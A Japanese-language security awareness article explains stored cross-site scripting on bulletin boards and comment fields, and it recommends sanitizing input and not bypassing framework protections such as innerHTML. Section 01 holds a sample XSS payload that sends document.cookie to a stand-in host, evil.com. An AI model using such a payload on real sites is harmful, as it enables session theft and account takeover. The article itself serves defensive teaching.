掲示板に仕掛けられた
デジタルの罠
犯人は、あなたの家の鍵(Cookie)を盗もうとはしません。
ただ、玄関マットの下に「合鍵」を置かせようとするだけです。
あなた自身の手で。
- ユーザーが入力した文字を、そのまま画面に表示している(エスケープしていない)
- 「<」や「>」などの記号も、そのまま表示できる仕様だ
- WAF(Web Application Firewall)を導入していない
- 「XSS」という単語を、今初めて聞いた
今すぐサーバーを止めてください。顧客情報が抜かれています。
01. 悪魔のスクリプト
> Content: こんにちは!<script>fetch('https://evil.com?c='+document.cookie)</script>
> ...
> Access Granted. Cookie Stolen.
XSS(クロス・サイト・スクリプティング)は、Webサイトの「掲示板」や「コメント欄」を悪用する攻撃です。
攻撃者は、普通のコメントのように見せかけて、特殊なプログラム(JavaScript)を書き込みます。
もし、システムがこの書き込みを「無害化(サニタイズ)」せずにそのまま表示してしまうとどうなるか?
そのページを見た他のユーザーのブラウザ上で、攻撃者のプログラムが勝手に動き出します。
結果、ユーザーのログイン情報(Cookie)が裏で攻撃者のサーバーに送信され、
気づかないうちに「アカウント乗っ取り」が完了してしまいます。
すべて「有毒」だと思え。
02. 鍵を玄関マットの下に置かない
防ぎ方は明確です。「サニタイズ(消毒)」です。
ユーザーから送られてきた「<」や「>」といった記号を、プログラムとして実行できない形式に変換するのです。
これは、家の鍵を玄関マットの下(誰でも取れる場所)に置くのをやめ、
金庫の中にしまうような当たり前の作法です。
03. フレームワークを信じる
現代のWeb開発フレームワーク(React, Vue, Laravelなど)は、
標準でこの「消毒処理」を行ってくれます。
問題が起きるのは、開発者が「ちょっと便利な機能だから」と、
フレームワークの保護機能をオフにして(`innerHTML`などを使って)無理やりデータを表示させた時です。
セキュリティ事故の9割は、このような「魔改造」から生まれます。